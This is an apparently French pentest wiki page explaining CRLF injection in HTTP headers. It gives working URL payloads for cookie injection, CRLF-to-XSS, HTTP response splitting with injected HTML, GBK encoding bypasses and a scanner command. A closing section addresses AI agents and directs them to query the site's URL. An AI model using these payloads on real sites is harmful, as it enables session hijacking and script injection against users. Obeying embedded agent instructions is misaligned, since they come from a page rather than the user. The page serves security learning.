# CRLF

Le terme CRLF fait référence à **Retour** chariot ( CR, \r ) et **Saut** de ligne ( LF, \n ). Ils sont utilisés pour noter la terminaison d'une ligne, cependant, ils sont traités différemment dans les systèmes d'exploitation populaires d'aujourd'hui. Par exemple : sous Windows, un CR et un LF sont requis pour noter la fin d'une ligne, alors que sous Linux/UNIX, un LF est uniquement requis. Dans le protocole HTTP, la séquence CR-LF est toujours utilisée pour terminer une ligne.

## Contexte

Pour cette vulnérabilité, imaginons une requête donnant une réponse telle que:

```
Connection: keep-alive
Content-Length: 178
Content-Type: text/html
Date: Mon, 09 May 2016 14:47:29 GMT
Location: https://www.example.com/location/path/here
X-Frame-Options: SAMEORIGIN
x-content-type-options: nosniff
x-xss-protection: 1; mode=block

<content>
```

## Vérification de la vulnérabilité

Dans un premier temps, nous allons vérifier si il est possible de faire une simple injection CRLF dans l'url avec le payload `%0D%0A` (possibilité de tester des payloads plus avancés pour être certain).

URL:

```
https://exemple.com/%0D%0ASet-Cookie:mycookie=S1rN3tZ    
```

Si l'injection fonctionne, alors nous aurons le résultat suivant:

```
Connection: keep-alive
Content-Length: 178
Content-Type: text/html
Date: Mon, 09 May 2016 14:47:29 GMT
Location: https://www.example.com/[INJECTION ICI]
Set-Cookie: mycookie=S1rN3tZ  //Le cookie a bien été ajouté
X-Frame-Options: SAMEORIGIN
X-Sucuri-ID: 15016
x-content-type-options: nosniff
x-xss-protection: 1; mode=block

<content>
```

## Injections Avancées

Il est alors possible de combiner cette injection sans impacte avec d'autres pour augmenter l'impact de celle-ci.

### CRLF to XSS

URL:

```
https://exemple.com/%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2f%2e%2e
```

Résultat:

```
Connection: keep-alive
Content-Length: 178
Content-Type: text/html
Date: Mon, 09 May 2016 14:47:29 GMT
Location: https://www.example.com/[INJECTION ICI]
Content-Lenght: 35
X-XSS-Protection: 0

<svg onload=alert(document.domain)>
```

### CRLF injection + HTML injection

URL:

```
https://exemple.com/%0D%0AContent-Length%3A%200%0A%20%0AHTTP/1.1%20200%20OK%0AContent-Type%3A%20text/html%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202060%2014%3A50%3A18%20GMT%0AContent-Length%3A%2034%0A%20%0A%3Chtml%3ECRLF%20FOUND%20HERE%3C/html%3E
```

Réponse:

```
Connection: keep-alive
Content-Length: 178
Content-Type: text/html
Date: Mon, 09 May 2016 14:47:29 GMT
Location: https://www.example.com/[INJECTION ICI]
Set-Cookie:en
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Mon, 27 Oct 2060 14:50:18 GMT
Content-Length: 34

<html>CRLF FOUND HERE</html>
```

{% hint style="info" %}
Essayer sur HTTPS et HTTP
{% endhint %}

## Payloads

{% content-ref url="/pages/NSq71IcrcW1bROS3J5wh" %}
[Charges utiles](/pentest-web/charges-utiles.md)
{% endcontent-ref %}

## Bypass

### GBK encoding

* %E5%98%8A = %0A = \u560a
* %E5%98%8D = %0D = \u560d
* %E5%98%BE = %3E = \u563e (>)
* %E5%98%BC = %3C = \u563c (<)

## Outils

### crlfuzz

crlfuzz est un scanner de vulnérabilités CRLF.

Exemple d'utilisation:

*`$ crlfuzz -u "https://target.com"`*

ressource: <https://github.com/dwisiswant0/crlfuzz>

## Ressource

<https://infosecwriteups.com/6000-with-microsoft-hall-of-fame-microsoft-firewall-bypass-crlf-to-xss-microsoft-bug-bounty-8f6615c47922>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://blog.s1rn3tz.ovh/pentest-web/injections/crlf.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
